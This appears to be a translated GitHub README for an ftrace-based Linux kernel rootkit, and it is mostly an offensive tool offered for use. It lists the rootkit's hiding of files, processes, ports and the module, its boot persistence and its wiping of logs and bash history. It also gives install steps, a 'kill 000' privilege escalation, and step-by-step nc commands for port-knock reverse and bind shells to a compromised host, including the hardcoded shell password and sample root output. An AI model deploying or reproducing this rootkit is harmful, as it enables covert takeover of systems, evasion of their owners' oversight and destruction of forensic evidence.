bluedragonsecurity/bds_lkm_ftrace

GitHub: bluedragonsecurity/bds_lkm_ftrace

一个基于 ftrace 的 Linux 内核级 Rootkit,实现进程、端口与文件的隐藏及持久化。

Stars: 30 | Forks: 9

BDS LKM FTRACE ROOTKIT

Linux 可加载内核模块 Rootkit,适用于 Linux 内核 5.x 至 6.2(基于 x86_64 架构),使用 ftrace 挂钩系统调用。
开发作者:Antonius(wisdom)
官网:www.bluedragonsec.com
GitHub:https://github.com/bluedragonsecurity
Twitter:https://twitter.com/bluedragonsec
此 LKM Rootkit 仅适用于 x64 架构。

功能特性

  • 隐藏以 bds_ 为前缀的文件和目录
  • 端口敲击绑定 Shell(绑定 Shell 密码为 bluedragonsec)
  • 端口敲击反弹 Shell
  • 使用 kill 000 命令进行权限提升
  • 隐藏 netstat 中的绑定 Shell 与反弹 Shell 端口
  • 隐藏绑定 Shell 与反弹 Shell 进程
  • Rootkit 持久化,重启后自动加载
  • 隐藏内核模块
  • 安装时清理日志与 Bash 历史记录

安装

安装此 Rootkit 需要 Root 权限。
如果你已安装 Linux 内核头文件、make 和 gcc,请直接运行安装脚本:


./install.sh direct


如果你尚未安装 Linux 内核头文件、make 和 gcc,请运行以下安装脚本:

./install.sh


使用 Rootkit

权限提升
Rootkit 安装完成后,如果你丢失了 Root 权限,可以通过以下命令重新获取:kill 000


robotsoft@robotsoft:~$ id

uid=1000(robotsoft) gid=1000(robotsoft) groups=1000(robotsoft),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),999(sambashare)

robotsoft@robotsoft:~$ kill 000

robotsoft@robotsoft:~$ id

uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),999(sambashare),1000(robotsoft)

激活反弹 Shell
要激活反弹 Shell,你需要先在 31337 端口使用 netcat 设置一个监听器,然后对目标服务器(已安装 Rootkit)的 1337 端口进行端口敲击。
在你的机器上,打开终端并输入:


nc -l -p 31337 -v

打开另一个终端标签页,并对目标服务器执行端口敲击:

nc server ip 1337

等待几秒钟,你将收到来自目标服务器的反弹 Shell 端口连接。
示例(已安装 Rootkit 的服务器 IP 为 192.168.0.102):

  robotsoft@robotsoft:~$ nc -l -p 31337 -v

  Listening on 0.0.0.0 31337

对目标 IP 地址(已安装 Rootkit)进行端口敲击:

robotsoft@robotsoft:~$ nc 192.168.0.102 1337

回到之前的 netcat 监听器,你将收到反弹 Shell 连接:

robotsoft@robotsoft:~$ nc -l -p 31337 -v

Listening on 0.0.0.0 31337

Connection received on 192.168.0.102 44052

Linux robotsoft 5.11.0-49-generic #55-Ubuntu SMP Wed Jan 12 17:36:34 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux

id

uid=0(root) gid=0(root) groups=0(root)

激活绑定 Shell
要激活绑定 Shell,你需要对已安装 Rootkit 的目标服务器的 1338 端口进行端口敲击。 绑定 Shell 的密码为:bluedragonsec
在你的机器上,打开终端并输入:


nc server ip 1338

等待几秒后输入:

nc server ip 31337

输入密码:bluedragonsec

示例(已安装 Rootkit 的服务器 IP 为 192.168.0.102):

robotsoft@robotsoft:~$ nc 192.168.0.102 1338

(等待几秒)

robotsoft@robotsoft:~$ nc 192.168.0.102 31337

密码:bluedragonsec

Linux robotsoft 5.11.0-49-generic #55-Ubuntu SMP Wed Jan 12 17:36:34 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux

id

uid=0(root) gid=0(root) groups=0(root)

隐藏文件与目录
只需在文件名和目录名前添加 bds_ 前缀即可隐藏。

如何清理日志与 Bash 历史记录?
在运行安装脚本之前,请在新行中添加要清理日志的用户名到 usernames_to_clear_logs.txt,例如:


root

robotsoft

安装过程中将自动清理这些用户的日志文件。

持久化
Rootkit 在系统每次启动时都会被激活。重启后等待 1 分钟,Rootkit 将被加载到内核中。

进程隐藏
此 Rootkit 会隐藏绑定 Shell 进程与反弹 Shell 进程。

端口隐藏
此 Rootkit 会隐藏绑定 Shell 端口与反弹 Shell 端口。

标签:Bash历史清理, Bind Shell, Ftrace Hook, Linux Rootkit, LKM, Reverse Shell, x86_64, 内核5.x, 内核6.x, 内核模块, 内核漏洞, 内核隐藏, 协议分析, 后门, 安全测试, 安全资源, 客户端加密, 攻击性安全, 文件隐藏, 日志清理, 杀进程000, 权限提升, 特权提升, 端口敲击, 端口隐藏, 网络可见性, 自动化部署, 自动回退, 进程隐藏, 隐蔽加载